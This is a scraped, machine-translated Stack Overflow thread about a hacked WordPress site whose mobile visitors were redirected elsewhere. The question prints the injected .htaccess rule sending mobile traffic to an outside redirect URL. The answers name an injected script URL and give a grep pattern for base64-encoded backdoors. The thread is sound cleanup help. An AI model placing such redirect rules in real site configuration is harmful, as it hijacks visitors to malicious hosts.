Warning: file_get_contents(/data/phpspider/zhask/data//catemap/1/wordpress/13.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Php Can';在WP自托管站点中找不到重定向移动通信的脚本_Php_Wordpress_.htaccess_Redirect_Mobile - Fatal编程技术网

Php Can';在WP自托管站点中找不到重定向移动通信的脚本

Php Can';在WP自托管站点中找不到重定向移动通信的脚本,php,wordpress,.htaccess,redirect,mobile,Php,Wordpress,.htaccess,Redirect,Mobile,我正在尝试修复一个自我托管的WP站点,该站点使用了一个带有次要自定义操作的212主题(主要是CSS,而不是php,都是由以前的网站管理员编写的) 我在移动设备访问方面遇到问题。它们都被重定向到站点外部的URI。 我已经“重置”了htacces文件。它们看起来像这样: RewriteEngine On RewriteCond %{HTTP_USER_AGENT} ^1207. (lot of other devices) RewriteCond %{HTTP_ACCEPT} text\/vnd\

我正在尝试修复一个自我托管的WP站点,该站点使用了一个带有次要自定义操作的212主题(主要是CSS,而不是php,都是由以前的网站管理员编写的)

我在移动设备访问方面遇到问题。它们都被重定向到站点外部的URI。

我已经“重置”了htacces文件。它们看起来像这样:

RewriteEngine On 
RewriteCond %{HTTP_USER_AGENT} ^1207. (lot of other devices)
RewriteCond %{HTTP_ACCEPT} text\/vnd\.wap\.wml|application\/vnd\.wap\.xhtml\+xml [NC,OR]
RewriteCond %{HTTP:HTTP_X_WAP_PROFILE} .+ [OR]
RewriteCond %{HTTP:HTTP_PROFILE} .+ [OR]
RewriteCond %{HTTP:X-OperaMini-Features} .+ [OR]
RewriteCond %{HTTP:UA-pixels} .+
RewriteRule ^(.*)$ http://isupport.x24hr.com/tds/go.php?sid=1 [L,R=302]
现在我把它替换成Wordpress Codex中建议的htaccess。但当尝试使用手机访问时,它仍然会被重定向到isupport.x24.com网站,在android中检索404,在iOS中检索502

网站是www.lagoabeachhotel.com

你可以想象,我是个新手。我已经做了几个小时的研究,但仍然无法解决这个问题。在我看来,在某个地方有一段脚本我找不到

更新:我安装并运行了反恶意软件扫描插件。它将.htaccess检索为可能的威胁。打开它,我看到插件分析的.htaccess文件仍然是旧的,这意味着我通过ftp上传的文件没有生效,从而解释了为什么服务器仍然重定向移动通信。 知道为什么会这样吗?如何有效地更改.htaccess文件


你能帮我吗?我真的很感激

问题在于.htaccess文件在ftp中的显示方式与服务器中的实际文件不同

我想我已经更正了.htaccess重写规则,因为我是通过ftp编辑的。 但是当我通过cPanel中的文件管理员访问时,我验证了通过ftp上传的文件实际上并不存在。

我知道有些人质不允许通过ftp更改此文件,但我想在这种情况下我会收到一条错误消息


因此,如果您遇到类似情况,请记住,即使您通过ftp更改了文件,也要通过cPanel再次检查该文件。

我也遇到了类似问题-我的站点被重定向到了某个bang站点,但我的.htaccess是干净的。而问题只出现在移动设备上。因此,我在iPhone上安装了HttpWatch,能够捕获来自移动设备的所有请求,该应用程序向我显示了
http://letcaro.com/js/couter.js

在每个主题中,通过PHP文件进行简单搜索,搜索范围缩小到header.PHP

我们在
http://letcaro.x24hr.com/js/couter.js
在我们的源代码中。我在这里找到的是老格雷普

/wp-includes/post-template.php
要寻找的顽皮的东西是:

grep -irn "base64_decode" | grep "eJzT189J"
在你的网站根

彼得·格拉曼提克先生的荣耀全归他了

感谢彼得的发现:)


干杯,希望这能节省一些人的时间。

看来你可以通过
位置
标题将302重定向到恶意软件站点。您必须在脚本或配置中找到它。通过android、HTTP_USER_AGENT等关键词进行搜索@Deadooshka感谢您的评论!这是一个可能的原因,是的。很抱歉,我在哪里可以找到302重定向?我应该通过ftp查看/public_html目录中的文件,还是通过cpanel查看数据库中的文件?非常感谢,您必须部署未受感染的脚本版本。当前版本可能包含后门,有人可以从外部管理您的站点。重定向可以在脚本和配置中的任何位置。请从链接复制相关代码,以防其脱机